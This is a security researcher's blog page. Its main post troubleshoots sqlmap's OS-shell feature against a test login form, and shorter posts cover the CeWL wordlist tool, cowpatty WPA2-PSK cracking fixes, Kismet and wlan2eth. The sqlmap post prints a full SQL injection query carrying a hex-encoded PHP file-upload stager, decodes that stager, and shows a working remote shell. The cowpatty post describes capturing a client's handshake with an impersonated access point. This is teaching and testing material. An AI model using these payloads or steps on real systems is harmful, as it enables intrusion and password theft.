Dec 05

The Mystery of sqlmap’s Empty Files

Recently I was working with a basic SQLi flaw, and wanted to get OS-level access. Naturally, I turned to sqlmap’s “–os-shell” feature.

$ sqlmap -u 'http://targetserver.mytarget.city.nw/login.php' --data='user=josh&pass=pass' --os-shell

sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org

which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)
>
[07:26:13] [WARNING] unable to retrieve automatically the web server document root
what do you want to use for web server document root?
[1] common location(s) '/var/www/' (default)
[2] custom location
[3] custom directory list file
[4] brute force search

>
[07:26:13] [WARNING] unable to retrieve automatically any web server path
[07:26:13] [INFO] trying to upload the file stager on '/var/www' via LIMIT INTO OUTFILE technique
[07:26:14] [WARNING] unable to upload the file stager on '/var/www'
[07:26:14] [INFO] fetched data logged to text files under '/home/jwright/.sqlmap/targetserver.mytarget.city.nw'

[*] shutting down at 07:26:14

The server here is vulnerable to SQLi through an error-based injection, but the os-shell fails to upload the file stager. I assumed the /var/www directory was not writable by the MySQL user, tried some other directories that all failed in the same way, and moved on to other techniques. However, later I saw this in the /var/www directory:

root@targetserver:/var/www# ls -l
total 48
-rw-r--r-- 1 root root 573 Jan 16 2013 alarms.php
drwxr-xr-x 2 root root 4096 Jan 16 2013 css
-rw-r--r-- 1 root root 634 Jan 16 2013 denied.php
-rw-r--r-- 1 root root 304 Jan 16 2013 footer.php
-rw-r--r-- 1 root root 3577 Dec 5 05:47 header.php
drwxr-xr-x 2 root root 4096 Jan 16 2013 images
-rw-r--r-- 1 root root 3516 Jan 16 2013 index.php
drwxr-xr-x 2 root root 4096 Jan 16 2013 js
-rw-r--r-- 1 root root 424 Dec 5 07:26 login.php
-rw-r--r-- 1 root root 198 Jan 16 2013 logout.php
-rw-r--r-- 1 root root 4455 Dec 4 17:01 reports.php
-rw-rw-rw- 1 mysql mysql 0 Dec 5 06:34 tmpubhkn.php
-rw-rw-rw- 1 mysql mysql 0 Dec 5 07:31 tmpuqitu.php
-rw-rw-rw- 1 mysql mysql 0 Dec 5 07:26 tmpurwem.php
-rw-rw-rw- 1 mysql mysql 0 Dec 5 07:31 tmpuvkgz.php
-rw-rw-rw- 1 mysql mysql 0 Dec 5 07:31 tmpuwtqk.php
-rw-rw-rw- 1 mysql mysql 0 Dec 5 06:36 tmpuxycr.php

The files starting with “tmpu” are the stager files created through sqlmap’s os-shell feature. That they are empty explains why sqlmap returned the “unable to upload file stager” error, but since we know the “mysql” account can write here the question remains: why did sqlmap’s os-shell feature fail?

Google’ing for similar situations brought me to Bas’ post describing a similar situation. He manually created the PHP shell with “–sql-shell”, but I wanted to find out why sqlmap failed.

I added a line to the vulnerable login.php script to save queries to a file. Here is what sqlmap does when os-shell is used:

SELECT * FROM user_credentials WHERE `username` = 'josh'
SELECT * FROM user_credentials WHERE `username` = 'josh' LIMIT 0,1 INTO OUTFILE '/var/www/tmpulhxi.php' LINES TERMINATED BY 0x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d2f7661722f7777773e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a-- AND 'PipI'='PipI'
  • First, sqlmap runs the basic request, supplying my input ‘josh’ for the injectable parameter.
  • Next, sqlmap runs the query again, appending the “LIMIT 0,1 INTO OUTFILE …” declaration. The outfile filename is randomly selected, and sqlmap supplies a custom line terminator for the content to write to the outfile. This is a large hex string, which decodes to the following:
if (isset($_REQUEST["upload"])){$dir=
$_REQUEST["uploadDir"];if (phpversion()<'4.1.0'){$file=$HTTP_POST_F
ILES["file"]["name"];@move_uploaded_file($HTTP_POST_FILES["file"]["
tmp_name"],$dir."/".$file) or die();}else{$file=$_FILES["file"]["na
me"];@move_uploaded_file($_FILES["file"]["tmp_name"],$dir."/".$file
) or die();}@chmod($dir."/".$file,0755);echo "File uploaded";}else 
{echo "<form action=".$_SERVER["PHP_SELF"]." method=POST enctype=mu
ltipart/form-data><input type=hidden name=MAX_FILE_SIZE value=10000
00000><b>sqlmap file uploader</b><br><input name=file type=file><br
>to directory: <input type=text name=uploadDir value=/var/www> <inp
ut type=submit name=upload value=upload></form>";}?>

Terrific, this is the sqlmap stager. Still, why does it create the file, but not populate the output file? I ran the query manually from a mysql shell to examine the output:

mysql> SELECT * FROM user_credentials WHERE `username` = 'josh' LIMIT 0,1 INTO OUTFILE '/var/www/tmpulhxi.php' LINES TERMINATED BY 0x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d2f7661722f7777773e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a-- AND 'PipI'='PipI';
Query OK, 0 rows affected (0.00 sec)

OK, that SQL creates the empty file, just like sqlmap does. However, this abbreviated query turned out to be more useful:

mysql> SELECT * FROM user_credentials WHERE `username` = 'josh' LIMIT 0,1;
Empty set (0.00 sec)

DOH! I made the cardinal sin of SQL injection exploitation: I didn’t start with valid data.

In my SANS classes, I tell students: Always Start with Valid Data (when performing SQL injection). If you identify a username parameter josh' that returns a database error, that’s great, but don’t supply that to sqlmap. Start with the valid data of josh, and let sqlmap figure out the rest (assisting sqlmap where necessary).

The problem here, and the reason for sqlmap’s empty files, is that the injected SELECT statement doesn’t return any records, so the delimiter PHP code is never written to a file. What does work is this:

$ sqlmap -u 'http://targetserver.mytarget.city.nw/login.php' --data='user=pconnor&pass=pass' --os-shell

    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org

[07:49:38] [WARNING] unable to retrieve automatically any web server path
[07:49:38] [INFO] trying to upload the file stager on '/var/www' via LIMIT INTO OUTFILE technique
[07:49:38] [INFO] the file stager has been successfully uploaded on '/var/www' - http://targetserver.mytarget.city.nw:80/tmpuiqxs.php
[07:49:38] [INFO] the backdoor has been successfully uploaded on '/var/www' - http://targetserver.mytarget.city.nw:80/tmpbubmd.php
[07:49:38] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> uname -a
do you want to retrieve the command standard output? [Y/n/a] a
command standard output:    'Linux targetserver.mytarget.city.nw 3.2.0-33-generic #52-Ubuntu SMP Thu Oct 18 16:29:15 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux'
os-shell>

Replacing my put-any-username-here “josh” reference with a valid username causes the SQL statement to return at least one record, which prompts the database to write the handler code to the file and returns an os-shell.

A valuable lesson for me, and hopefully others find it useful as well.

-Josh

Jun 15

Things I Wish Amazon.com Didn’t Tell Me

Amazon recently added a reporting function where you can get a CSV of your buying habits for any specified date period.  I took a few minutes to do some analysis.

Q: Will I sign up to renew my Amazon Prime account when it expires?

A: YES!

-Josh

Dec 17

Wordlist Generation – CeWL on Ubuntu

CeWL is a custom wordlist generator written by Robin Wood. Written in Ruby, CeWL takes a target website as an argument and crawls the site for HTML, MS Office (2007 and earlier) and PDF documents. For each supported document, CeWL extracts the words, email addresses and metadata to build a wordlist.

Used with tools such as Asleap and coWPAtty, CeWL’s wordlist generation technique can be very useful, building a dictionary off words found on the target website. This often includes project names, acronyms and other content that apply specifically to the target and may be successful in a dictionary attack where standard dictionary words would not.

While I’m working on another project, I’ve departed from Gentoo to run Ubuntu 9.10. I’m looking forward to the day I can return to Gentoo, but until then, I got CeWL to run on Ubuntu without much complication:

$ sudo apt-get install exif libimage-exiftool-perl
$ sudo gem install http_configuration spider mime-types mini_exiftool rubyzip spider
$ echo "export RUBYOPT=\"rubygems\"" >>~/.bashrc
$ source ~/.bashrc
$ wget http://www.digininja.org/files/cewl_2.2.tar.bz2
$ tar xvfj cewl_2.2.tar.bz2
$ cd cewl
$ ./cewl.rb  --help
cewl 2.0 Robin Wood (dninja@gmail.com) (www.digininja.org)

Usage: cewl [OPTION] ... URL
        --help, -h: show help
        --depth x, -d x: depth to spider to, default 2
        --min_word_length, -m: minimum word length, default 3
        --offsite, -o: let the spider visit other sites
        --write, -w file: write the output to the file
        --ua, -u user-agent: useragent to send
        --no-words, -n: don't output the wordlist
        --meta, -a: include meta data
        --email, -e: include email addresses
        --meta-temp-dir directory: the temporary directory used by exiftool when parsing files, default /tmp
        -v: verbose

        URL: The site to spider.

CeWL is one of the tools we cover in my Ethical Hacking Wireless course, running next in New Orleans on January 11-16. It’s not too late to sign up for this class, and escape the winter chill for good food and wireless hacking in New Orleans.

-Josh

Jul 03

Cowpatty 4.6 (with less teh suck)

As it turns out, there was a pretty significant bug in cowpatty 4.5 and earlier when built on systems with a more modern version of OpenSSL than what I was testing against:

        typedef struct {
            unsigned char k_ipad[65];
            unsigned char k_opad[65];
            unsigned char k_ipad_set;
            unsigned char k_opad_set;
        } SHA1_CACHE;

        struct SHA1_CACHE cached;
        SHA1_CTX context;

        /* ... */

        if (usecached) {
            /* Cache the context value */
            memcpy(&cached.k_ipad, &context, sizeof(context));
            cached.k_ipad_set = 1;
        }

When I looked at this I realized what the problem was right away: I was stupid when I wrote this code.

One of the ways we can accelerate WPA2-PSK cracking is to cache values that are computed each time during SHA1 rounds; namely the inner and outer pad hashes (ipad, opad). I implemented this in cowpatty and created a data structure SHA1_CACHE to store the hashed value with a field to indicate if it was currently cached or not.

At the time, OpenSSL’s SHA1_CACHE structure was 64 bytes; I created my structure members at 65 bytes (why not 64 bytes? Because I was stupid when I wrote this code). Perfect!

All worked well until I recently discovered that the SHA1_CTX structure is now 96 bytes, which did not fit so well in my 65 byte data structure.

The lesson here: don’t try to recreate the wheel. This is how I fixed the problem, and how I should have done it back in 2005:

        typedef struct {
            SHA1_CTX k_ipad;
            SHA1_CTX k_opad;
            unsigned char k_ipad_set;
            unsigned char k_opad_set;
        } SHA1_CACHE;

Instead of relying on a static byte length that once characterized the size of SHA1_CTX, I should have just used the real thing. I’ll remember this lesson in the future, and hopefully you won’t make the same mistake I did.

You can snag the latest version of cowpatty here. Special thanks to Kevin Kestinggolrer, Philipp Schroedel, Max Moser and Nathan Grennan, Jason Franks and Michal Knobel for hitting me with their various clue-sticks.

-Josh

Jun 04

Cowpatty 4.5

After too much time I have posted coWPAtty 4.5 with several fixes and a couple of new features:

  • Fewer restrictions on collecting the data needed to mount an attack.  The default behavior requires all 4 frames of the 4-way handshake to mount an attack.  If you specify “-2” on the command-line, coWPAtty will only require frames 1 and 2 of the 4-way handshake to mount an attack.  More on this below.
  • Validate that the needed information is present to mount an attack, without launching the attack (the “-c” option).  This was requested by Pure Hate for an awesome project he gave me a preview on.  I’m hoping details of this project will be public soon.

The “-2” option also includes fewer restrictions for validating the content of the packet capture.  This was implemented by a patch submitted by Nathan Grennan, accommodating some AP’s that do not strictly adhere to the IEEE 802.11i/IEEE 802.11-2007 specification.

Removing the restriction of needing all 4 frames of the 4-way handshake to mount an attack has some interesting implications.  First, packet captures taken while channel hopping often miss parts of the 4-way handshake, since they can hop in the middle of the 4-way handshake exchange.  Relying on only frames 1 and 2 gives you a better chance of catching the needed data even if you are channel hopping.

coWPAtty "-2" utilization example

coWPAtty "-2" utilization example

Second, it provides the ability for an attacker to mount an attack against a client even if they aren’t within range of their target network (for example, a WPA2-PSK user is at the airport).    Consider the following illustration:

Cowpatty Attack Scenarios

Cowpatty Attack Scenarios

On the left is an example of what I consider a traditional WPA2-PSK attack.  The attacker gets within physical proximity of the target network and waits for (or coerces) the 4-way handshake between an AP and a valid client system.

On the right, however, is a less-understood attack scenario.  In the 4-way handshake, the client system authenticates first, sending a HMAC-MIC of frame 2 to the AP.  If an attacker impersonates the legitimate SSID of the network, they are able to send Frame 1 of the 4-way handshake (no authentication) and observe the HMAC-MIC of frame 2.  At frame 2, the attacker has everything they need to recover the PSK (now with cowpatty’s “-2” option).  Frame 3 fails validation by the client, but by that point, it’s too late.

In practice, I’m testing this using HostAP running on my attack workstation, but that’s not even necessary.  Simply take any SOHO AP, configure the SSID to reflect that of your vistim with any pre-shared key and observe the exchange between the victim and the imposter AP, supplying the packet capture to coWPAtty with the “-2” option.

My transition to work for InGuardians has given me a chance to spend more time on penetration tests. As a result, I’ve started to change my mind about the value of “weaponized” attack tools. If the tool isn’t reliable, works under many circumstances and flexible enough to withstand an error or two, it takes much longer to be useful, and that costs your customer more. I’m using this as a motivator to make tools more effective, capable of demonstrating a point, and thereby allowing you to providing greater value to your customer.

I’d love to hear comments and questions. Please add a comment below, or send me a note.

-Josh

May 26

Kismet Newcore RC1 Released

Just a little while ago, dragorn released RC1 of Kismet-Newcore, the much-awaited next-generation of Kismet. From the release news:

After 5+ years of development, this staging release is to work out any final minor issues before a full release. Kismet-2009-05-RC1 is expected to be fully functional, so please report problems on the forums or via email. Please read the new README and replace your configuration files, as just about everything about configuring Kismet has changed (for the better!) The old Kismet tree also sees a new release as Kismet-old-2009-05-R1, which incorporates minor fixes and support for some of the newer Intel and Ralink cards/driver names. Both are available from the download page.

Kismet-Newcore Screenshot

Kismet-Newcore Screenshot

I’ve been moving away from using Kismet-Stable to the Kismet-Newcore architecture. On my short-list of awesome-new-features in newcore are:

  • Plugin architecture makes it easy to add new functionality (passive and active) which promises to introduce significant new features on a more regular basis, not the least of which are support for DECT sniffing, live Aircrack-PTW WEP cracking and (coming soon?) ZigBee sniffing;
  • Improved security model using suid-root group-exec-only interfaces;
  • Lots of greater functionality in capture sources including improved channel hopping controls and graceful interface termination with dynamic interface adding (no more exiting Kismet to add or remove an interface from use);
  • Save state feature where you can resume a previous capture state by running “kismet -r” on the runstate file;
  • New menu-driver Kismet client interface which shows you the interesting information at a glance;
  • Lots of new alerts and informational events help you in analyzing and assessing networks.

The development leading up to this release has been long in coming, and cheers to dragorn for continuing the introduce awesome new features that push the edge of what this powerful tool can do.

Take a look at the new Kismet-Newcore and enjoy this gem of the open source community.

-Josh

May 13

Wlan2eth 1.2 Release

Wlan2eth is a tool I wrote to convert 802.11 packet captures into Ethernet-style captures; I find this useful when working with various sundry tools that don’t properly handle 802.11 frames.

Adrian Crenshaw sent in a bug report for wlan2eth where he was getting the following output:


$ ./wlan2eth ../forjosh.pcap out.dump
Converted 0 packets.

Turns out I didn’t have support for other 802.11 packet capture link types (Adrian was using PRISM_AVS). I’ve updated wlan2eth to fix this issue, while adding support for Ad-hoc network captures as well.

Questions/Comments/Concerns?

Thanks,

-Josh